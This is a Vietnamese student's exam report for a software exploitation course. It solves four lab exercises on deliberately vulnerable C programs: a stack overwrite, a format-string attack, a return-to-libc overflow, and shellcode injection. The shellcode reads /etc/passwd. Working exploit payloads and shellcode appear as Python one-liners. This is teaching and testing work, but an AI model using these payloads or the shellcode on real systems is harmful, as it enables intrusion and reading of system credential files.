BAN CƠ YẾU CHÍNH PHỦ
HỌC VIỆN KỸ THUẬT MẬT
MÃ
¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯
Sinh viên : Nguyễn Thị Kim Huế
SBD : 08
Mã số sinh viên : AT13CLC0101
BÁO CÁO KẾT QUẢ LÀM BÀI THI
KẾT THÚC HỌC PHẦN
Môn học: Khai thác lỗ hổng phần mềm
Khóa đào tạo: AT13CLC
Câu 1
-
Bước 1. Quan sát mã chương trình:
Chương trình exercise1.c
-
Tạo file thực thi bằng gcc
Bước 2. Phân tích tệp tin excercise1 bằng IDA
-
Biến v1 nằm ở vị trí esp + 9h và biến v2 nằm ở vị trí esp + 218h như vậy
biến v2 nằm sau biến v1 một khoảng là 0x218 – 0x9 = 527 byte
Biến v2 nằm ở vị trí esp + 218h và biến v3 nằm ở vị trí esp + 21Ch như vậy
biến v3 nằm sau biến v2 một khoảng 0x21C – 0x218 = 4 byte
-
Bước 3. Lập kịch bản khai thác
Để giải được bài này ta cần chèn thêm một chuỗi 527 byte bất kỳ + chèn giá
trị của v2 là 0x4C 0x33 0x22 0x11
Tiếp theo chèn thêm giá trị của v3 < 0 ở đây lấy giá trị -8 nên ta chèn thêm
một chuỗi byte ở định dạng hexa là 0xf8 0xff 0xff 0xff
Mã khai thác:
python -c 'print "A"*527 + "\x4C\x33\x22\x11" + "\xf8\xff\xff\xff"' |
./excercise1
Bước 4. Kết quả khai thác:
Câu 2
Bước 1: Quan sát code chương trình excercise2.c .
Biên dịch chương trình:
sudo sysctl kernel.randomize_va_space=0
gcc excercise2.c -o excercise2 -fno-stack-protector -z execstack
-
Bước 2: Tìm địa chỉ hàm trả về dòng chữ “you won”
-
Địa chỉ là : 0x80485c0 => Đây là địa chỉ của giá trị được push vào hàm win:
you won!
Bước 3: Thử chạy chương trình .
Ta thấy 7 tham số còn trống
Bước 4. Mã khai thác.
Cần chèn địa chỉ của giá trị được push tỏng hàm win là tham số.
python -c 'print "B\xc0\x85\x04\x08" + "%x"*7 +"%s"' | ./exercise2
Câu 3.
-
-
Bước 1. Xác định khoảng cách buff tới địa chỉ trả về.
Chương trình exercise3.c
Biên dịch chương trình bằng lệnh: gcc exercise3.c –o exercise3 –z execstack
-fno-stack-protector
Tạo 1 file win in ra dòng chữ “You win!”
-
Đặt Breackpoint tại địa chỉ sau hàm Gets . Tức đặt tại 0x804849a
-
Địa chi buff là : 0xbfffe920
-
Địa chỉ eip là : 0xbfffefac
-
Vậy khoảng giữa buff và eip là : 0xbfffefac - 0xbfffe920=1676 = 68C
Chạy chương trình lấy điạ chỉ buff : 0xbfffe990.
-
-
-
Bước 2. Xác định hàm libc cần dùng
Ở đây ta sẽ sử dụng hàm thư viện chuẩn của LibC là: System
Và ta dùng print system để in ra địa chỉ của system là: 0xb7e45da0
Ta lấy địa chỉ của Buf cộng thêm 68C để tính ra địa chỉ ret address là:
0xbffff01c
Từ đây ta sẽ có địa chỉ hàm sys là 0xbffff028
Bước 3. Mã khai thác bằng ngôn ngữ Python
python -c 'print "A"*1676 + "\xa0\x5d\xe4\xb7" +"BBBB" +"\x28\xf0\xff\xbf"
+ "./win"'|./exercise3
-
Bước 4. Kết quả khai thác
Kết quả khai thác là in ra “You won!”.
Câu 4:
Bước 1: Mã shellcode
-
Shellcode thực thi lệnh "cat /etc/passwd"
-
-
Kiểm tra shellcode
-
Shellcode :
"\x31\xc9\xf7\xe9\x31\xdb\xbb\xff\x73\x77\x64\xc1\xeb\x08\x53\x68\x2f\x
70\x61\x73\x68\x2f\x65\x74\x63\x89\xe7\x50\x68\x2f\x63\x61\x74\x68\x2f
\x62\x69\x6e\x89\xe3\x50\x57\x53\x89\xe1\xb0\x0b\xcd\x80\x31\xdb\xb0\
x01\xcd\x80";
Bước 2. Quan sát mã nguồn chương trình excercise4.c
Bước 3. Tìm khoảng cách buff tới địa chỉ trả về :
Địa chỉ buff là : 0xbfffec89
Địa chỉ eip là : 0xbfffef8c
Khoảng cách buff tới eip là : 0xbfffef8c- 0xbfffec89 =771
Bước 4: Mã khai thác là :
./excercise4 $(python -c 'print"A"*771 +
"\x09\xed\xff\xbf"+"\x31\xc9\xf7\xe9\x31\xdb\xbb\xff\x73\x77\x64\xc1\xeb\x08\x53\x68\x2f\x70\x
61\x73\x68\x2f\x65\x74\x63\x89\xe7\x50\x68\x2f\x63\x61\x74\x68\x2f\x62\x69\x6e\x89\xe3\x50\x
57\x53\x89\xe1\xb0\x0b\xcd\x80\x31\xdb\xb0\x01\xcd\x80"')